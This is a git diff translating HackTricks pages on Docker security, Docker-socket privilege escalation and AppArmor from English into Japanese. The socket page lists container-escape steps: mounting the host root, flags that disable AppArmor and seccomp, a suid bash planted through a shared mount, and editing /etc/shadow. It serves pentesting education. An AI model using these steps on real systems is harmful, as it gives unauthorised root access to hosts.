+**gVisor**は、Goで書かれたアプリケーションカーネルで、Linuxシステムの大部分を実装しています。これには、アプリケーションとホストカーネルの間の**隔離境界**を提供する[Open Container Initiative(OCI)](https://www.opencontainers.org)ランタイムである`runsc`が含まれています。`runsc`ランタイムはDockerとKubernetesと統合されており、サンドボックス化されたコンテナを簡単に実行できます。 {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers**は、軽量な仮想マシンを使用してコンテナのように感じ、パフォーマンスを提供しながら、**ハードウェア仮想化技術を使用してより強力なワークロードの分離**を提供するために取り組んでいるオープンソースのコミュニティです。 {% embed url="https://katacontainers.io/" %} -### Summary Tips +### 要約とヒント -* **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -* Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -* [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -* [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -* [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -* **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -* **Use** [**official docker images**](https://docs.docker.com/docker-hub/official\_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -* **Regularly** **rebuild** your images to **apply security patches to the host an images.** -* Manage your **secrets wisely** so it's difficult to the attacker to access them. -* If you **exposes the docker daemon use HTTPS** with client & server authentication. -* In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -* Have **separate containers for each micro-s**ervice -* **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. -* Have **smaller** container **images** +* **`--privileged`フラグを使用せず、コンテナ内にDockerソケットをマウントしないでください**。Dockerソケットはコンテナの生成を可能にするため、`--privileged`フラグを使用して別のコンテナを実行するなど、ホストの完全な制御を簡単に取得する方法です。 +* コンテナ内で**rootとして実行しないでください。異なるユーザー**[**とユーザーネームスペース**](https://docs.docker.com/engine/security/userns-remap/)を使用してください**。**コンテナ内のrootは、ホストと同じです(ユーザーネームスペースでリマップされていない限り)。主にLinuxのネームスペース、機能、およびcgroupsによって軽く制限されています。 +* [**すべての機能をドロップ**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities)**(`--cap-drop=all`)し、必要な機能のみを有効にしてください**(`--cap-add=...`)。多くのワークロードでは、機能は必要ありません。それらを追加すると、潜在的な攻撃の範囲が広がります。 +* [**「no-new-privileges」セキュリティオプションを使用**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)して、プロセスが特権を取得するのを防止してください。たとえば、suidバイナリを介して特権を取得することがあります。 +* [**コンテナに利用可能なリソースを制限**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**してください**。リソース制限は、サービス拒否攻撃からマシンを保護することができます。 +* **[seccomp](https://docs.docker.com/engine/security/seccomp/)**、**[AppArmor](https://docs.docker.com/engine/security/apparmor/)**(またはSELinux)プロファイルを調整して、コンテナで使用可能なアクションとシスコールを最小限に制限してください。 +* [**公式のDockerイメージ**](https://docs.docker.com/docker-hub/official\_images/)を使用し、署名を要求するか、それらを基に独自のイメージをビルドしてください。バックドアが仕込まれたイメージを継承または使用しないでください。また、ルートキーとパスフレーズを安全な場所に保存してください。DockerはUCPでキーを管理する予定です。 +* 定期的にイメージを再ビルドして、ホストとイメージにセキュリティパッチを適用してください。 +* シークレットを適切に管理し、攻撃者がアクセスしにくいようにしてください。 +* Dockerデーモンを公開する場合は、クライアントとサーバーの認証にHTTPSを使用してください。 +* Dockerfileでは、ADDの代わりにCOPYを使用してください。ADDは自動的にzipファイルを展開し、URLからファイルをコピーすることができます。COPYにはこれらの機能がありません。可能な限り、リモートURLやZipファイルを介した攻撃に対して脆弱にならないように、ADDの使用を避けてください。 +* 各マイクロサービスには**個別のコンテナ**を使用してください。 +* コンテナ内にsshを配置しないでください。コンテナへのsshは「docker exec」を使用して行うことができます。 +* **より小さな**コンテナ**イメージ**を使用してください。 -## Docker Breakout / Privilege Escalation +## Dockerの脱獄/特権エスカレーション -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +もし**Dockerコンテナ内にいる**か、**dockerグループのユーザーにアクセス権がある**場合、**脱獄して特権をエスカレーション**することができます。 {% content-ref url="docker-breakout-privilege-escalation/" %} [docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/) {% endcontent-ref %} -## Docker Authentication Plugin Bypass +## Docker認証プラグインのバイパス -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +もしdockerソケットにアクセス権限があるか、**dockerグループのユーザーにアクセス権限があるが、docker認証プラグインによって制限されている場合**、それを**バイパス**できるかどうかを確認してください。 {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) {% endcontent-ref %} -## Hardening Docker +## Dockerのハードニング -* The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +* ツール[**docker-bench-security**](https://github.com/docker/docker-bench-security)は、Dockerコンテナを本番環境で展開する際の数十の一般的なベストプラクティスをチェックするスクリプトです。テストはすべて自動化されており、[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)に基づいています。\ +ツールを実行するには、Dockerを実行しているホストからまたは十分な権限を持つコンテナから実行する必要があります。実行方法については、READMEを参照してください:[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。 -## References +## 参考文献 * [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) * [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936) -* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) -* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/) -* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces) -* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - -
- +* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
![](<../../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index 3dee11cce..add46ab6a 100644 --- a/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,59 +1,59 @@ -# Abusing Docker Socket for Privilege Escalation +# Dockerソケットの悪用による特権エスカレーション
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見しましょう。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +特権エスカレーションを行いたい場合に、**Dockerソケットにアクセス**できる場合があります。いくつかのアクションは非常に怪しいかもしれず、それらを避けたい場合、特権エスカレーションに役立つさまざまなフラグを見つけることができます。 -### Via mount +### マウントを介して -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +ルートとして実行されているコンテナ内で、**ファイルシステム**の異なる部分を**マウント**して**アクセス**することができます。\ +また、**マウントを悪用して特権エスカレーション**することもできます。 -* **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - * If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - * `--privileged` - * `--cap-add=ALL` - * `--security-opt apparmor=unconfined` - * `--security-opt seccomp=unconfined` - * `-security-opt label:disable` - * `--pid=host` - * `--userns=host` - * `--uts=host` - * `--cgroupns=host` -* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - * Run `fdisk -l` in the host to find the `` device to mount -* **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +* **`-v /:/host`** -> ホストのファイルシステムをコンテナにマウントして、**ホストのファイルシステムを読み取る**ことができます。 +* ホストのように**感じる**が、コンテナ内にいる場合には、次のようなフラグを使用して他の防御メカニズムを無効にすることができます: +* `--privileged` +* `--cap-add=ALL` +* `--security-opt apparmor=unconfined` +* `--security-opt seccomp=unconfined` +* `-security-opt label:disable` +* `--pid=host` +* `--userns=host` +* `--uts=host` +* `--cgroupns=host` +* \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> これは前の方法と似ていますが、ここでは**デバイスディスクをマウント**しています。その後、コンテナ内で `mount /dev/sda1 /mnt` を実行し、`/mnt` で**ホストのファイルシステムにアクセス**できます。 +* ホストで `fdisk -l` を実行して、マウントするための `` デバイスを見つけます。 +* **`-v /tmp:/host`** -> 何らかの理由でホストから**特定のディレクトリのみをマウント**でき、ホスト内でアクセスできる場合は、マウントしてマウントされたディレクトリに **suid** を持つ **`/bin/bash`** を作成し、ホストから実行して特権をエスカレーションさせることができます。 {% hint style="info" %} -Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +おそらく `/tmp` フォルダをマウントすることはできないかもしれませんが、**別の書き込み可能なフォルダ**をマウントすることができます。次のコマンドを使用して書き込み可能なディレクトリを見つけることができます:`find / -writable -type d 2>/dev/null` -**Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +**Linuxマシンのすべてのディレクトリがsuidビットをサポートするわけではありません!** suidビットをサポートするディレクトリを確認するには、`mount | grep -v "nosuid"` を実行します。通常、`/dev/shm`、`/run`、`/proc`、`/sys/fs/cgroup`、`/var/lib/lxcfs`はsuidビットをサポートしていません。 -Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +また、**`/etc`** または他の構成ファイルを含むフォルダを**マウント**できる場合は、ルートとしてDockerコンテナからそれらを変更して、ホストで**悪用**して特権をエスカレーションさせることができます(たとえば、`/etc/shadow` を変更することができます)。 {% endhint %} -### Escaping from the container +### コンテナからの脱出 -* **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -* **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +* **`--privileged`** -> このフラグを使用すると、コンテナから[すべての分離が削除](docker-privileged.md#what-affects)されます。[特権コンテナからルートとして脱出する](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape)ためのテクニックを確認してください。 +* **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> [機能を悪用して特権をエスカレーション](../linux-capabilities.md)するために、その機能をコンテナに付与し、エクスプロイトが機能しない可能性のある他の保護方法を無効にします。 ### Curl -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +このページでは、Dockerフラグを使用して特権をエスカレーションする方法について説明しましたが、これらの方法を**curlコマンドを使用して悪用**する方法については、次のページで見つけることができます: {% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %} [authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md) @@ -63,14 +63,9 @@ In this page we have discussed ways to escalate privileges using docker flags, y ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**した +- **[💬](https://emojipedia.org/speech-balloon/)Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**。 diff --git a/linux-hardening/privilege-escalation/docker-security/apparmor.md b/linux-hardening/privilege-escalation/docker-security/apparmor.md index 1b5377076..9c7df2e47 100644 --- a/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -4,45 +4,44 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** -## Basic Information +## 基本情報 -**AppArmor** is a kernel enhancement to confine **programs** to a **limited** set of **resources** with **per-program profiles**. Profiles can **allow** **capabilities** like network access, raw socket access, and the permission to read, write, or execute files on matching paths. +**AppArmor**は、**プログラム**を**制限されたリソース**の**限られたセット**に制約するためのカーネルの拡張機能です。プロファイルは、ネットワークアクセス、生のソケットアクセス、および一致するパス上のファイルの読み取り、書き込み、実行の許可などの**機能**を**許可**できます。 -It's a Mandatory Access Control or **MAC** that binds **access control** attributes **to programs rather than to users**.\ -AppArmor confinement is provided via **profiles loaded into the kernel**, typically on boot.\ -AppArmor profiles can be in one of **two modes**: +これは、アクセス制御属性をユーザーではなく**プログラムにバインドする**Mandatory Access Control(MAC)です。\ +AppArmorの制約は、通常は起動時にカーネルにロードされる**プロファイル**によって提供されます。\ +AppArmorプロファイルは、次の**2つのモード**のいずれかになることができます。 -* **Enforcement**: Profiles loaded in enforcement mode will result in **enforcement of the policy** defined in the profile **as well as reporting** policy violation attempts (either via syslog or auditd). -* **Complain**: Profiles in complain mode **will not enforce policy** but instead **report** policy **violation** attempts. +* **Enforcement(強制)**:強制モードでロードされたプロファイルは、プロファイルで定義されたポリシーの**強制**と、ポリシー違反の試みの**報告**(syslogまたはauditd経由)の結果となります。 +* **Complain(苦情)**:苦情モードのプロファイルは、ポリシーを**強制しない**代わりに、ポリシー違反の試みを**報告**します。 -AppArmor differs from some other MAC systems on Linux: it is **path-based**, it allows mixing of enforcement and complain mode profiles, it uses include files to ease development, and it has a far lower barrier to entry than other popular MAC systems. +AppArmorは、Linux上の他の一部のMACシステムとは異なり、**パスベース**であり、強制モードと苦情モードのプロファイルを混在させることができ、開発を容易にするためにインクルードファイルを使用し、他の人気のあるMACシステムよりもはるかに低い参入障壁を持っています。 -### Parts of AppArmor +### AppArmorのパーツ -* **Kernel module**: Does the actual work -* **Policies**: Defines the behaviour and containment -* **Parser**: Loads the policies into kernel -* **Utilities**: Usermode programs to interact with apparmor +* **カーネルモジュール**:実際の作業を行う +* **ポリシー**:動作と制約を定義する +* **パーサー**:ポリシーをカーネルにロードする +* **ユーティリティ**:apparmorとの対話のためのユーザーモードプログラム -### Profiles path +### プロファイルのパス -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +AppArmorのプロファイルは通常、_**/etc/apparmor.d/**_に保存されます。\ +`sudo aa-status`を使用すると、いくつかのプロファイルに制限されているバイナリをリストすることができます。リストされた各バイナリのパスの"/"をドットに変更すると、言及されたフォルダ内のapparmorプロファイルの名前が取得できます。 -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -### Commands +たとえば、_usr/bin/man_の**apparmor**プロファイルは、_**/etc/apparmor.d/usr.bin.man**_にあります。 +### コマンド ```bash -aa-status #check the current status +aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) aa-complain #set profile to complain mode (from diable or enforcement) apparmor_parser #to load/reload an altered policy @@ -50,48 +49,42 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +## プロファイルの作成 -## Creating a profile - -* In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -* To indicate the access the binary will have over **files** the following **access controls** can be used: - * **r** (read) - * **w** (write) - * **m** (memory map as executable) - * **k** (file locking) - * **l** (creation hard links) - * **ix** (to execute another program with the new program inheriting policy) - * **Px** (execute under another profile, after cleaning the environment) - * **Cx** (execute under a child profile, after cleaning the environment) - * **Ux** (execute unconfined, after cleaning the environment) -* **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -* **Deny rules are supported to override allow rules**. +* 影響を受ける実行可能ファイルを示すために、**絶対パスとワイルドカード**が使用できます(ファイルグロブを使用)。 +* **ファイル**に対するアクセスを示すために、次の**アクセス制御**を使用できます: +* **r**(読み取り) +* **w**(書き込み) +* **m**(実行可能としてメモリにマップ) +* **k**(ファイルロック) +* **l**(ハードリンクの作成) +* **ix**(新しいプログラムを実行し、ポリシーを継承するために別のプログラムを実行) +* **Px**(環境をクリーンアップした後、別のプロファイルで実行) +* **Cx**(環境をクリーンアップした後、子プロファイルで実行) +* **Ux**(環境をクリーンアップした後、制約なしで実行) +* **プロファイル内で変数**を定義し、プロファイルの外部から操作することができます。例:@{PROC}と@{HOME}(プロファイルファイルに#include \を追加) +* **許可ルールを上書きするために拒否ルールがサポートされています**。 ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +プロファイルの作成を簡単に開始するために、apparmorが役立ちます。**apparmorはバイナリによって実行されるアクションを検査し、どのアクションを許可または拒否するかを選択できるようにします**。\ +次のコマンドを実行するだけです: ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +次に、別のコンソールで通常バイナリが実行するすべてのアクションを実行します。 ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +次に、最初のコンソールで「**s**」を押し、記録されたアクションで無視するか、許可するか、その他の操作を指定します。終了したら「**f**」を押して、新しいプロファイルが _/etc/apparmor.d/path.to.binary_ に作成されます。 {% hint style="info" %} -Using the arrow keys you can select what you want to allow/deny/whatever +矢印キーを使用して、許可/拒否/その他の操作を選択できます。 {% endhint %} ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +また、次のコマンドを使用して、バイナリのapparmorプロファイルのテンプレートを作成することもできます。 ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -105,42 +98,104 @@ sudo aa-easyprof /path/to/binary # No template variables specified "/path/to/binary" { - #include +#include - # No abstractions specified +# No abstractions specified - # No policy groups specified +# No policy groups specified - # No read paths specified +# No read paths specified - # No write paths specified +# No write paths specified } ``` - {% hint style="info" %} -Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like 